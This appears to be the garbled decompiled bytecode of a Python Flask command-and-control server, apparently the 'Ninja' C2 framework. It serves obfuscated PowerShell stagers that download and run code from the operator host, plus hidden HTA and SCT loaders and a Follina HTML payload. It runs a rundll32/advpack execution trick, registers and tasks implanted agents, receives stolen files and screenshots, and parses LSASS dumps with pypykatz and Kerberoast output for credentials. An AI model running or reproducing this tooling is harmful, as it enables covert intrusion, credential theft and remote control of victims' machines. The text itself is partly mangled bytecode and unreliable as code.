
    4iu                        d dl Zd dlZd dlZd dlmZ d dlmZ d dlT d dlT d dl	m
Z
 d dlmZ d dlmZ d dlT d dlmZ d dlT d dlZ ej        d	          Ze                    ej                   d
Z G d de          Z ee          Zd ag ddededede de!de"de#de$de%de&dz   de'dz   de(dz   de)dz   de*dz   de+dz   de,dz   de-d z   d!R Z.e/                    dd"g#          d$             Z0e/                    e-d z   d"g#          d%             Z1d& Z2e/                    ed"g#          d'             Z3e/                    ed"g#          d(             Z4e/                    e d"g#          d)             Z5e/                    e"d"g#          d*             Z e/                    ed"g#          d+             Z6e/                    e!d"g#          d,             Z7e/                    e#d"g#          d-             Z8e/                    e&d.g#          d/             Z9e/                    e(d.g#          d0             Z:e/                    e%d"g#          d1             Z;e/                    e$d"g#          d2             Z<e/                    e'd.g#          d3             Z=e/                    e)d.g#          d4             Z>e/                    e*d.g#          d5             Z?e/                    e+d.d"g#          d6             Z@e/                    e,d.g#          d7             ZAd8 ZBdS )9    N)datetime)mkdir)*)pypykatz)DA)
Kerberoast)bcolorswerkzeugzMicrosoft-IIS/6.0c                       e Zd Zd ZdS )
localFlaskc                 $    t           |j        d<   |S )Nserver)SERVER_NAMEheaders)selfresponses     "/home/kali/Ninja/core/webserver.pyprocess_responsezlocalFlask.process_response   s    %0"    N)__name__
__module____qualname__r    r   r   r   r      s#            r   r   /indexpayloadpayloadcstagerstager52	payloadjfbase64
payloadjfssctmshtaz/(.*)infodownloaduploadimagecommandresultmodulesz.htmlfollinaGET)methodsc                      dS )Nz/Oops... We Couldn't Find Your Page! (404 Error)r   r   r   r   r   r   0   s
     =<r   c                      t           j        } d| z  }t          dd          }|                                }|                                 |S )Nz'
[+] Folllina HTML PAYLOAD Sent to (%s)z#utils/payloads/Follina/follina.htmlr)requestremote_addropenreadclose)ipp_outHTMLDatas       r   r,   r,   5   sC    		B6;E5s;;D	DJJLLLKr   c           	         d}g }t          |           dz  dk    r(| t          d          z   } t          |           dz  dk    (t          t          |                     D ]h}|dz  t          | |                   z   }|dz   dz  dk    r?t          d          D ]/}|                    t          d|dz  z                        |dz  }0i|                                 d                    |          S )	Nr               (   4    )lenchrrangeordappendreversejoin)stvalueencodedijs        r   toB52rO   >   s    EG
b''A+//#a&&[ b''A+// 3r77^^  c"Q%jj(EQ;!1XX  s2
?33444"OO777r   c                      t           j        } d| z  }t          t          j        |z   t          j        z              t                      S )Nz!
[+] Powershell PAYLOAD Sent (%s))r2   r3   printr	   OKGREENENDCObfuscated_PAYLOADr7   r8   s     r   r   r   O   s<    		B025E	'/E
!GL
0111r   c                      t           j        } d| z  }t          t          j        |z   t          j        z              t                      S )N
[+] STAGER PAYLOAD Send (%s))r2   r3   rQ   r	   rR   rS   STAGERrU   s     r   r   r   W   s9    		B,r1E	'/E
!GL
011188Or   c                     t           j        } d| z  }t          t          j        |z   t          j        z              d}t          dk    r|                    dt                                        dt                                        dt                                        dt                                        dt                                        dd	          }n|                    dt                                        dt                                        dt                                        dt                                        dt                                        dd
          }|S )NrW   aC  $s=(new-object net.webclient).DownloadString('{HTTP}://{ip}:{port}{b52payload}');$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));T{ip}{port}{raw}{b52payload}{HTTP}httpshttp)r2   r3   rQ   r	   rR   rS   SSLreplaceHOSTPORTraw_payloadb52_payload)r7   r8   r   s      r   r   r   _   s    		B,r1E	'/E
!GL
0111 SF
d{{--55hEEMMgWbcckkK) ))0)M)MggV^`gNhNh 	 --55hEEMMgWbcckkK) ))0)M)MggV^`fNgNg 	Mr   c                      t           j        } d| z  }t          t          j        |z   t          j        z              t          j        t          t                      d                    
                    d          S )Nz(
[+] BASE64 Powershell PAYLOAD Send (%s)UTF-8)r2   r3   rQ   r	   rR   rS   	base64mod	b64encode	bytearrayrT   decoderU   s     r   r!   r!   n   sc    		B7"<E	'/E
!GL
0111 y);)=)=wGGHHOOPWXXXr   c                      t           j        } d| z  }t          t          j        |z   t          j        z              t                      }t          |          S )Nz)
[+] Powershell Encoded PAYLOAD Send (%s))r2   r3   rQ   r	   rR   rS   rT   rO   )r7   r8   r   s      r   r   r   x   sG    		B82=E	'/E
!GL
0111 ""G>>r   c                     t           j        } d| z  }t          t          j        |z   t          j        z              d}d}t          dk    r|                    dt                                        dt                                        dt                                        dt                                        d	t                                        dt                                        d
t                                        dt                                        dt                                        dt                                         dd          }n|                    dt                                        dt                                        dt                                        dt                                        d	t                                        dt                                        d
t                                        dt                                        dt                                        dt                                         dd          }t#          j        t'          |d                    }|                    d|                    d                    }t#          j        t'          |d                    }d|                    d          z  }|S )Nz,
[+] Powershell JOB + File PAYLOAD Send (%s)a(  $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('{HTTP}://{ip}:{port}{b52payload}');set-content -path c:\programdata\a.zip -value $S;set-content -path c:\programdata\b.ps1 -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')));Start-Process powershell -ArgumentList "-exec bypass -w 1 -file c:\programdata\b.ps1" -WindowStyle Hidden;start-sleep 10;del c:\programdata\a.zip;del c:\programdata\b.ps1;  $s=(get-content C:\\ProgramData\\a.zip);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));TrZ   r[   r\   r]   {b64stager}{hjf}{hjfs}{sct}{hta}r^   r_   r`   rh   	{payload}oStart-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('%s')))})r2   r3   rQ   r	   rR   rS   ra   rb   rc   rd   re   rf   
b64_stagerhjf_payloadhjfs_payloadsct_payloadhta_payloadri   rj   rk   rl   r7   r8   r   commandFs       r   r    r       s   		B;b@E	'/E
!GL
0111 G	G pH
d{{//&$//77$GGOOPWYdeemmK) ))0
)K)KGGTbT_Ma Maahahipitbv bvv}v}lw$ w$$+GG[$A$A'''S^B_B_`g`ghphoaq aq	 	 //&$//77$GGOOPWYdeemmK) ))0
)K)KGGTbT_Ma Maahahipitbv bvv}v}lw$ w$$+GG[$A$A'''S^B_B_`g`ghphnap ap	 	 "9Xw#?#?@@Hook8??7+C+CDDG!)GW"="=>>G  CJ  CQ  CQC C GNr   c                     t           j        } d| z  }t          t          j        |z   t          j        z              d}d}|                    dt                                        dt                                        dt                                        dt                                        dt                                        dt                                        d	t                                        d
t                                        dt                                        dt                    }t!          j        t%          |d                    }|                    d|                    d                    }t!          j        t%          |d                    }d|                    d          z  }|S )Nz1
[+] Powershell JOB + File +SCT PAYLOAD Send (%s)a  $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('http://{ip}:{port}{b52payload}');set-content -path c:\programdata\a.zip -value $S;$S=$V.DownloadString('http://{ip}:{port}{sct}');set-content -path c:\programdata\sct.zip -value $S;set-content -path c:\programdata\sct.ps1 -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')));set-content -path c:\programdata\sct.ini -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('W3ZlcnNpb25dDQpTaWduYXR1cmU9JGNoaWNhZ28kDQoNCltFeGNlbF0NClVuUmVnaXN0ZXJPQ1hzPUV2ZW50TWFuYWdlcg0KDQpbRXZlbnRNYW5hZ2VyXQ0KJTExJVxzY3JvYmouZGxsLE5JLGM6L3Byb2dyYW1kYXRhL3NjdC56aXANCg0KW1N0cmluZ3NdDQpBcHBBY3QgPSAiU09GVFdBUkVcTWljcm9zb2Z0XENvbm5lY3Rpb24gTWFuYWdlciINClNlcnZpY2VOYW1lPSIgIg0KU2hvcnRTdmNOYW1lPSIgIg==')));start-process rundll32.exe -ArgumentList "advpack.dll,LaunchINFSection C:\ProgramData\sct.ini,Excel,1," -WindowStyle Hidden;start-sleep 30;del c:\programdata\a.zip;del c:\programdata\sct.ps1;del c:\programdata\sct.zip;del c:\programdata\sct.ini;ro   rZ   r[   r\   r]   rp   rq   rr   rs   rt   rh   ru   rv   )r2   r3   rQ   r	   rR   rS   rb   rc   rd   re   rf   rw   rx   ry   rz   r{   ri   rj   rk   rl   r|   s       r   r"   r"      s    
	B@2EE	'/E
!GL
0111 vG pHoofd++33HdCCKKGU`aaii% %%,W]J%G%GP^`kHlHlmtmtn n%gh==ggg{>[>[\c\cdkdo]q ]q  "9Xw#?#?@@Hook8??7+C+CDDG!)GW"="=>>G  CJ  CQ  CQC C GNr   POSTc                     	 g } t           j        D ]}|                     |           t           j        | d                                      d          dk    r1t           j        | d                  }t           j        | d                  }n0t           j        | d                  }t           j        | d                  }t                              |          
||                    d          }t           j        }|                    d|           |                    dt                     t          dz   a	dt          dz
  ||d         |d         fz  }t          t          j        |z   t          j        z              t                              ||i           t                              |g i           t                               |t#          j                    i           t$          S )	Nr>   img.jpegr   z**z(
[+] New Agent Connected(%d): %s - %s\%s      )r2   formrG   findAGENTSgetsplitr3   insertCOUNTrQ   r	   rR   rS   updateCOMMANDTIMEtimeAESKey)argsrM   iddatar7   r8   s         r   r%   r%      s   
"
 D\  A|DG!!*--22\$q'"|DG$|DG$\$q'"zz"~~$"2zz$ ArAu	<	>@>B1g>B1g@G G 	go%4555r4j!!!Bx   R%&&&Mr   c                  v   	 g } t           j        D ]}|                     |           t           j        d         }t           j        d         }t                              |          |t          t          |                                                    dd                    }t          |
                    d                    dk    r/|                    dd          
                    d          d	         }t          t           d
|                    dd          z   d          }|                                }t          t          |          }d|z  }t          t           j        |z   t           j        z              |S dS # t&          $ r*}t          dt)          |          z              Y d }~dS d }~ww xY w)Nfileresource +\r   "rB   r   z/file/ rbz
[+] uploaded file %sErrorz
[-] Download: )r2   r   rG   r   r   decryptr   striprb   rC   r   r4   campaign_namer5   encryptrQ   r	   rR   rS   	Exceptionstr)r   rM   namer   fpr   r8   es           r   r'   r'      s    	 	AKKNNNN |F#\*%::b>>%$*:64::<<#7#7S#A#ABBD4::d##$$q((||D"--33D99"=...eR1H1HH$OOB7799D64((D,t3E'/E)GL8999Kw    3q66)***rrrrrs   E?F 
F8F33F8c                     t           j        } d| z  }t          t          j        |z   t          j        z              d}d}|                    dt                                        dt                                        dt                                        dt                                        dt                                        dt                                        d	t                                        d
t                                        dt                                        dt                    }t!          j        t%          |d                                        d          }ddgddgddgddgddgddgddgddgddgd d!gd"d#gd$d%gg}|D ]$}|                    |d&         |d'                   }%	 t)          d(           n# t*          $ r Y nw xY wt-          d)d*          }|                    |                    d+|                     |                                 |                    d+|          S ),Nz'
[+] New Agent Request HTA PAYLOAD (%s)a  
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();

try
{
    window.onfocus = function() { window.blur(); }
    window.onerror = function(sMsg, sUrl, sLine) { return false; }
}
catch (e){}

function replaceAll(find, replace, str) 
{
  while( str.indexOf(find) > -1)
  {
    str = str.replace(find, replace);
  }
  return str;
}
function replace(string)
{
        string = replaceAll(']','=',string);
        string = replaceAll('[','a',string);
        string = replaceAll(',','b',string);
        string = replaceAll('@','D',string);
        string = replaceAll('-','x',string);
        string = replaceAll('~','N',string);
        string = replaceAll('*','E',string);
        string = replaceAll('%','C',string);
        string = replaceAll('$','H',string);
        string = replaceAll('!','G',string);
        string = replaceAll('{','K',string);
        string = replaceAll('}','O',string);
        return string;
}
function bas( string )
    {
 string=replace(string);
       var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        var result     = '';

        var i = 0;
        do {
            var b1 = characters.indexOf( string.charAt(i++) );
            var b2 = characters.indexOf( string.charAt(i++) );
            var b3 = characters.indexOf( string.charAt(i++) );
            var b4 = characters.indexOf( string.charAt(i++) );

            var a = ( ( b1 & 0x3F ) << 2 ) | ( ( b2 >> 4 ) & 0x3 );
            var b = ( ( b2 & 0xF  ) << 4 ) | ( ( b3 >> 2 ) & 0xF );
            var c = ( ( b3 & 0x3  ) << 6 ) | ( b4 & 0x3F );

            result += String.fromCharCode(a) + (b?String.fromCharCode(b):'') + (c?String.fromCharCode(c):'');

        } while( i < string.length );

        return result;
    }

var es = '{code}';
eval(bas(es));
</script>
<hta:application caption="no" showInTaskBar="no" windowState="minimize" navigable="no" scroll="no" />
</head>
<body>
</body>
</html> 	

aA  
	
var cm="powershell -w hidden Invoke-Expression(New-Object Net.WebClient).DownloadString('http://{ip}:{port}{b64stager}');";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);
rZ   r[   r\   r]   rp   rq   rr   rs   rt   rh   ]=[a,b@D-x~Nr   E%C$H!G{K}Or>   r   z./utils/payloads/Webserverz!utils/payloads/Webserver/mshta.jsw{code})r2   r3   rQ   r	   rR   rS   rb   rc   rd   re   rf   rw   rx   ry   rz   r{   ri   rj   rk   rl   r   FileExistsErrorr4   writer6   )r7   r8   codejsrerM   r   s          r   r$   r$      sG   		B6;E	'/E
!GL
0111 ^!D 
cB	FD	!	!	)	)(D	9	9	A	A';	W	W	_	_`n`k
m 
mmtmtzn# n##*7>;#G#GPWYdHeHefmfmnvnzg| g| }D  }D} }%gg{;;	 
 
	Yr733	4	4	;	;G	D	DB************
B  $ $ZZ!ad##*++++   6<<GMM$,,x,,---MMOOO<<"%%%s   >G 
GGc                    | j         }d|z  }t          t          j        |z   t          j        z              d}d}|                    dt                                        dt                                        dt                                        dt                                        dt                                        dt                                        d	t                                        d
t                                        dt                                        dt                    }|                    d                              dd          }ddgddgddgddgddgddgddgddgd d!gd"d#gd$d%gd&d'gg}|D ]$}|                    |d(         |d)                   }%|                    d*|          S )+Nz'
[+] New Agent Request SCT PAYLOAD (%s)a  <?xml version="1.0" encoding="utf-8"?>
<package>
  <component>
    <registration progid="y">
      <script language="JScript"><![CDATA[
		function replaceAll(find, replace, str) 
		{
		  while( str.indexOf(find) > -1)
		  {
		    str = str.replace(find, replace);
		  }
		  return str;
		}
		function bas( string )
		    {
		        string = replaceAll(']','=',string);
		        string = replaceAll('[','a',string);
		        string = replaceAll(',','b',string);
		        string = replaceAll('@','D',string);
		        string = replaceAll('-','x',string);
		        string = replaceAll('~','N',string);
		        string = replaceAll('*','E',string);
		        string = replaceAll('%','C',string);
		        string = replaceAll('$','H',string);
		        string = replaceAll('!','G',string);
		        string = replaceAll('{','K',string);
		        string = replaceAll('}','O',string);
		        var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		        var result     = '';

		        var i = 0;
		        do {
		            var b1 = characters.indexOf( string.charAt(i++) );
		            var b2 = characters.indexOf( string.charAt(i++) );
		            var b3 = characters.indexOf( string.charAt(i++) );
		            var b4 = characters.indexOf( string.charAt(i++) );

		            var a = ( ( b1 & 0x3F ) << 2 ) | ( ( b2 >> 4 ) & 0x3 );
		            var b = ( ( b2 & 0xF  ) << 4 ) | ( ( b3 >> 2 ) & 0xF );
		            var c = ( ( b3 & 0x3  ) << 6 ) | ( b4 & 0x3F );

		            result += String.fromCharCode(a) + (b?String.fromCharCode(b):'') + (c?String.fromCharCode(c):'');

		        } while( i < string.length );

		        return result;
		    }

		var es = '{code}';
		eval(bas(es));
	  ]]></script>
    </registration>
  </component>
</package>
a  
	
var cm="powershell -exec bypass -w 1 -file c:\\programdata\\sct.ps1";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);
rZ   r[   r\   r]   rp   rq   rr   rs   rt   r!   
rB   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r>   r   r   )r3   rQ   r	   rR   rS   rb   rc   rd   re   rf   rw   rx   ry   rz   r{   encode)r2   r7   r8   r   r   r   rM   s          r   r#   r#   !  s   		B6;E	'/E
!GL
0111 VD 
oB	FD	!	!	)	)(D	9	9	A	A';	W	W	_	_`n`k
m 
mmtmtzn# n##*7>;#G#GPWYdHeHefmfmnvnzg| g| }D  }D} }%gg{;;	 
 
8			$	$T2	.	.B************
B  $ $ZZ!ad##<<"%%%r   c                     g } t           j        D ]}|                     |           t           j        d         }t           j        d         }t                              |          |t           j        d         }t           j        d         }t          t          |                                                    dd                    }t          t           d|z   d          }|                    |           |                                 dt          |         d	         t          |         d
         t          |          fz  }t          t          j        |z   t          j        z              dS dS )Ndr   fr   r   /downloads/wbz(
[+] Agent (%d) - %s send open(%s bytes)r   r   OKzNo file recieved)r2   r   rG   r   r   decrypt_filer   r   rb   r4   r   r   r6   rC   rQ   r	   rR   rS   )r   rM   r   r   filenamefilecontentr   r8   s           r   r&   r&   A  s-   D\  A
 <D	j	!B zz"~~!d&6<$l3'"6;+<+<+>+>+F+FsC+P+PQQ]///(:DAA




;vbz!}fUWjYZm]`ae]f]f>gggo%4555tr   c                  .   g } t           j        D ]}|                     |           t           j        | d                                      d          dk    r1t           j        | d                  }t           j        | d                  }n0t           j        | d                  }t           j        | d                  }|d                    d t          d          D                       z   }t                              |          |t          t          |
                                                    dd	                              d
          d                             d
          d                   }t          t           d|z  d          }|                    |           |                                 dt          |         d         t          |         d         t#          |          fz  }t%          t&          j        |z   t&          j        z              dS )Nr>   r   r   r   rB   c              3   ^   K   | ](}t                               t          j                  V  )d S )N)randomchoicestringascii_lowercase.0rM   s     r   	<genexpr>zimage.<locals>.<genexpr>l  s1      NNfmmF$:;;NNNNNNr      r   r   :z/images/%s.pngr   z)
[+] Agent (%d) - %s send image(%s bytes)r   r   )r2   r   rG   r   rI   rE   r   r   r   r   r   rb   r   r4   r   r   r6   rC   rQ   r	   rR   rS   )r   rM   r   r   fnr   r8   s          r   r(   r(   \  s   D\  A|DG!!*--22\$q'"|DG$|DG$\$q'"
 
bggNNU1XXNNNNN	NBzz"~~!d&6FDJJLL$8$8c$B$B$H$H$M$Ma$P$V$VWZ$[$[\]$^__]222R7>>




<r
1vVXzZ[}^abf^g^g?hhgo%45554r   c                  R   g } t           j        D ]}|                     |           t           j        | d                                      d          dk    rt           j        | d                  }nt           j        | d                  }t                              |          t          j                    t          |<   t                              |          t          t                              |                    dk    rt          |         
                    d          }t          j        dz   |z   dz   t          t          |          z   t          j        z   }t!          |           t#          dd          }|                    d|z   dz   t          t          |          z   d	z              |                                 |S t                              |          1t!          t          j        dz   |z   d
z   t          j        z              dS t)          t+          j                               t/          dd          }t/          dd          }d                    d t3          |          D                       dz   d                    d t3          |          D                       z   S )Nr   r   r   r>   z[~] r   logs/c2-logs.txtr   r   z	:RegisterREGISTERd      P      rB   c                 V    g | ]&}t                               t          j                  'S r   r   r   r   ascii_uppercaser   s     r   
<listcomp>zcommand.<locals>.<listcomp>  s'    TTT!f&<==TTTr   z-*-*-*c                 V    g | ]&}t                               t          j                  'S r   r   r   s     r   r   zcommand.<locals>.<listcomp>  s'    IIIqV]]6122IIIr   )r2   r   rG   r   r   r   r   r   rC   r   popr	   rR   r   r   rS   rQ   r4   r   r6   seedr   nowrandintrI   rE   )r   rM   r   cmdouthistoryrand1rand2s           r   r)   r)   w  s*   D\  A|DG!!*--22\$q'"\$q'"
 zz"~~!9;;Rzz"~~!c'++b//&:&:Q&>&>bkooa  o&+c1GFC4H4HH7<Wc


)3//frkC''&#*>*>>EFFF
	B	go&+k9GLHIIIzX\^^S!!C  wwTTuU||TTTUUX``cecjcjIIE%LLIIIdK dK K 	Kr   c                  T   g } t           j        D ]}|                     |           t           j        | d                                      d          dk    r1t           j        | d                  }t           j        | d                  }n0t           j        | d                  }t           j        | d                  }t                              |          d k    r|d k    rt          t          |                    dd                    }|	                    dd          }d	t          |         d         t          |         d
         t          |         d         t          |         d         fz  }t          dd          }|                    |dz              |                    |                    d                              dd          dz              |                                 |                    d                              d          dk    rt          |                    d                              d                     t           dt          |         d
         z   dz   t          |         d         z   dz   }t          |d          }|                    |                    d                              dd                     |                                 t!          j        t$          j        |f          }|                                 dS |                    d                              d          dk    r(t          |                    d                              d                     t           dt          |         d
         z   dz   t          |         d         z   dz   }t          |d          }	|	                    |                    d                              dd                     |	                                 t!          j        t*          j        |t          |         d
         t          |         d         f          }|                                 dS |                    d                              d          dk    rt           dt          |         d
         z   dz   t          |         d         z   dz   }t          |d          }	|	                    |                    d                              dd                              d          d                    |	                                 t           dt          |         d         z   dz   }t          |d           }	|	                    t1          j        |                    d                              dd                              d          d                              |	                                 t5          j        t           dt          |         d         z   dz             }
|
j        D ])}t          t;          |
j        |                              *dS t          t<          j        |z   t<          j         z              t          |                    d                     nd!S d"S )#Nr>   r   r   r   r   r   asciiignorez&
[+] Agent (%d) - %s@%s\%s send Resultr   r   r   r   r   r   rh   r   Defense_Ananylsis_Modulez/DA/r   z
DA_out.txtr   targetr   r   zKerberoast-Modulez/kerberoast/z_kerb_out.txtzDump_start_from_here:r   zsafetydump.dmpzsafetydump-decoded.dmpr   r   ok)!r2   r   rG   r   r   r   r   r   rb   r   r4   r   rl   r6   rQ   r   	threadingThreadr   mainstartr   kerbr   ri   	b64decoder   parse_minidump_filelogon_sessionsr   r	   rR   rS   )r   rM   r   r   r8   r   fnamedar   kmimiluids               r   r*   r*     s   D \  A |DG!!*--22\$q'"|DG$|DG$\$q'"zz"~~$$,,vt||C5566{{7H--:fRjmVTVZXY]\bce\fgh\ikqrtkuvwkx=yy)3//edl###dkk'**225#>>EFFF;;w$$%?@@2EE$++g&&++,FGGHHH$***VBZ]:S@6":a=PS__EeS!!BHHT[[))11%==>>>HHJJJ%RWE8DDDFLLNNN4;;w$$%899B>>$++g&&++,?@@AAA$222VBZ]BSH6RT:VW=X[jjEUC  AGGDKK((00<<===GGIII%Z_E6RT:VW=Z`acZdefZgCijjjFLLNNN4;;w$$%<==BB$111F2JqMACG&QS*UV-WZjjEUC  AGGDKK((00<<BBCZ[[\]^___GGIII$111F2JqMAD\\EUD!!AGGI'G(<(<(D(DUC(P(P(V(VWn(o(opq(rsstttGGIII/=0M0M0MPVWYPZ[\P]0]`x0xyyD+ 6 6c$-d34455554go%4555dkk'""####z4r   c                     g } t           j        D ]}|                     |           t           j        | d                                      d          dk    r1t           j        | d                  }t           j        | d                  }n0t           j        | d                  }t           j        | d                  }d}t                              |          +|(t          t          |                    dd                                        dd          }d	|d
t          |         d         dt          |         d         d}t          t          j        |z   t          j        z              	 t          d|z   d          }|                                }|dk    rt          j        |          }t#          t          |          }|                                 |S # t&          $ r}	t          |	           Y d }	~	dS d }	~	ww xY wdS )Nr>   r   r   r   r   r   r   rB   z
[+] New Agent Request Module z (z - r   )zModules/r1   1r   )r2   r   rG   r   r   r   r   r   rb   rQ   r	   rR   rS   r4   r5   ri   rj   r   r6   r   )
r   rM   r   r   b64r8   fpmmoduleretmodr   s
             r   r+   r+     s    D\  A |DG!!*--22\$q'"|DG$|DG$\$q'" Czz"~~!d&6vt||C5566>>ubIIAEvbzRS}}}V\]_V`abVcVcVcdgo%4555	zD(#..CXXZZFczz",V44VV,,FIIKKKM 	 	 	!HHH22222	 4s   ,A+G 
G<"G77G<c                  n   	 t           rWdt          g} dt          t          fi}t	          j        t          j        | |          }d|_        |	                                 d S dt          g} t	          j        t          j        |           }d|_        |	                                 d S # t          $ r Y d S w xY w)Nz0.0.0.0ssl_context)r   r   kwargsTr   )ra   rd   CERTKEYr   r   apprundaemonr   KeyboardInterrupt)hostcertthreads      r   r   r     s     
	t$D!D#;/D%SWD$OOOF FMLLNNNNNt$D%SWDBBBF FMLLNNNNN   s   AB&  AB& &
B43B4)Cr!   ri   r   r   r   osr   r   flaskpypykatz.pypykatzr   corer   r   core.Encryption
core.colorr	   core.configlogging	getLoggerlogsetLevelERRORr   Flaskr   r   r  r   re   rf   rw   
b52_stagerrx   b64_payloadry   rz   r{   register_urldownload_url
upload_url	image_urlcommand_url
result_urlmodules_urlfollina_urlurlsrouter   r,   rO   r   r   r   r   r    r"   r%   r'   r$   r#   r&   r(   r)   r*   r+   r   r   r   r   <module>r3     s?                                & & & & & &                           g
## W]   !        j 	

H HW Hk H9 Hk H: Hz HS[ H]g His HH H"-H/7H9EHGSHU`HbgHitHH'H)/H1=1GHISHU_biUiHksH 	GH %H '2G&;H >GH ISU\H\H _gH 	g	H  )	H *5W)<	H >G	H H 3  = = ! = ;w00  10  " ;((    )(  :w''  (' :w''  (' ;((Y Y )(Y ;((  )( ;((  )(: <%))  *)& <&**# # +*#L :x((  )(< ;(($& $& )($&N ;((& & )(&> <&**  +*4 9vh''  ('4 ;)) K  K *) KF ://= = 0/=@ ;))" " *)"J    r   